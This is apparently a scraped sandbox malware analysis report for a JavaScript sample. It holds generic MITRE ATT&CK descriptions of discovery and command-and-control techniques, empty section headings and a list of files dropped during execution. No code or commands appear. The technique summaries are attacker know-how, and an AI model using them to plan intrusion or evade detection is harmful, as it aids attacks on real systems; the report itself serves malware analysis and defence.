Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2986414422293398212.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fdf3a416-e729-4a9b-8792-d2b14e074977.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6540

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2986414422293398212.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre